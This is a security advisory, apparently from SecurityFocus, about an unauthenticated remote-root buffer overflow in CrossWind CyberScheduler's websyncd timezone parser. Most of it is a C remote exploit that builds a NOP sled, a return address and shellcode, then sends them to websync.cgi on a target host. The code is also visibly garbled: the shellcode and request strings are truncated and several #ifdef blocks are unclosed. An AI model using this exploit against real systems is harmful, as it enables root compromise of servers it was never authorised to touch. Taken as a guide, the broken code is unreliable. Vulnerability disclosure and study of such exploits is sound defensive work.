source: http://www.securityfocus.com/bid/2628/info

CrossWind CyberScheduler is a scheduling and calendaring package. It consists of two distinct parts for - a set of cgi scripts on a web server and a set of daemons (or services) on a database server. Both parts are available for Windows NT, Linux and a range of UNIX platforms including Solaris.

One of the CyberScheduler daemons 'websyncd' (websyncd.exe on Windows NT) contains an exploitable buffer overflow in its timezone string parser. A timezone string is passed to websyncd by the websync.cgi cgi program (websync.exe on NT) through the tzs form variable.

Because websyncd runs as root, a stack overflow allows arbitrary code execution as root. The overflow occurs before any logon credentials are verified by websync.cgi, so unprivileged remote users can exploit this vulnerability.

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <netdb.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <sys/stat.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <netdb.h>

#include <fcntl.h>

#include <time.h>

#include <wait.h>

#include <errno.h>

#define OFFSET 0

#define ALIGN 0

#define BUFFER 264

#define VERDE "\E[32m"

#define BRILLOSO "\E[1m"

#define NORMAL "\E[m"

#define ROJO "\E[31m"

#define CELESTE "\E[36m"

#define AZUL "\E[34m"

#define AMARILLO "\E[33m"

#define MORADO "\E[35m"

static char Hellcode[]=

61\x72\x2f\x6c\x69\x62\x2f\x68\x74\x74\x70\x64\x2f\x68\x74\x64\x6f\x63\x73";

unsigned long resolver (char *serv) {

struct sockaddr_in sinn;

struct hostent *hent;

hent = gethostbyname (serv);

bzero ((char *) &sinn, sizeof (sinn));

memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);

return sinn.sin_addr.s_addr;

}

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}

void usage(char *name) {

printf("Usage:\n");

printf("%s <victim> <offset> <align> <buffer> \n\n", name);

}

int connex(u_long victim) {

int sockfd;

struct sockaddr_in hostaddr;

if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {

perror("connex");

exit(-1);

}

hostaddr.sin_port = htons(80);

hostaddr.sin_addr.s_addr = victim;

hostaddr.sin_family = AF_INET;

if((connect(sockfd, (struct sockaddr *) &hostaddr, sizeof(hostaddr)))

< 0 ) {

perror("connex");

exit(-1);

}

return sockfd;

}

int ataque(int victim, char *command) {

int sockfd, retval, i;

char tmp[256];

fd_set rfds;

struct timeval timer;

char part1[1024] =

"/cgi-bin/websync.cgi?ed=&Es=7x1x101&un=Defcom&hn=lab&rpt=/cybersched/En_US/WebResources&cbn=/cgi-bin/websync.cgi&dow=sun&dmy=Off&tf

char fancy[] = "Host: 127.0.0.1\nConnection: Keep-Alive\nUser-Agent:

Defcom Labs @ Spain version 0.1\nContent-type:

aplication/x-www-form-urlencoded\n";

sockfd = connex(victim);

FD_ZERO(&rfds);

FD_SET(sockfd, &rfds);

timer.tv_sec = 5;

timer.tv_usec = 0;

retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);

if(retval) {

printf("%s[ + ] Atacking the server ... \n%s", VERDE, NORMAL);

write(sockfd, "GET ", strlen("GET "));

write(sockfd, part1, strlen(part1));

write(sockfd, command, strlen(command));

write(sockfd, "\n", strlen("\n"));

// Fancy stuff ... LoL!

write(sockfd, fancy, strlen(fancy));

write(sockfd, "\n\n", strlen("\n\n"));

for(i = 0; i < 256; i++) {

tmp[i] = '\0';

}

read(sockfd, tmp, sizeof(tmp));

}

else {

printf("%sTime out!!!!!\n%s", ROJO, NORMAL);

exit(-1);

}

}

int main(int argc, char **argv) {

int offset = OFFSET;

int align = ALIGN;

int buffer = BUFFER;

struct hostent *hent;

char *command;

unsigned long addr;

int i, victim;

if(argc < 2) {

usage(argv[0]);

exit(0);

}

if(argc > 2) offset = atoi(argv[2]);

if(argc > 3) align = atoi(argv[3]);

if(argc > 4) buffer = atoi(argv[4]);

if((hent = gethostbyname(argv[1])) == NULL) {

perror("x-cybersched");

exit(1);

}

printf("%sX-Cybersched\n", AZUL);

printf("------------------------------------\n");

printf("Remote exploit .... by\n");

printf("Enrique Sanchez (enrique.sanchez@defcom.com)\n%s", NORMAL);

#ifdef DEBUG

printf("%s[ + DEBUG + ] Buffer is %d\n%s", AMARILLO, buffer, NORMAL);

printf("%s[ + DEBUG + ] The size of the shellcode is %d\n%s",

AMARILLO, strlen(Hellcode), NORMAL);

addr = 0xbfffffff - offset;

command = (char *)malloc(buffer);

printf("%s[ + ] Using addres: 0x%x\n%s", VERDE, addr, NORMAL);

#ifdef DEBUG

printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO,

command, NORMAL);

printf("%s[ + ] Filling buffer for exploitation ... \n%s", VERDE, NORMAL);

for(i = 0; i < buffer; i += 4) {

*(long *)&command[i] = 0x90909090;

}

*(long *)&command[buffer - 4] = addr;

#ifdef DEBUG

printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO,

command, NORMAL);

memcpy(command + buffer - strlen(Hellcode) - 4, Hellcode,

strlen(Hellcode));

#ifdef DEBUG

printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO,

command, NORMAL);

ataque(resolver(argv[1]), command);

return 0;

}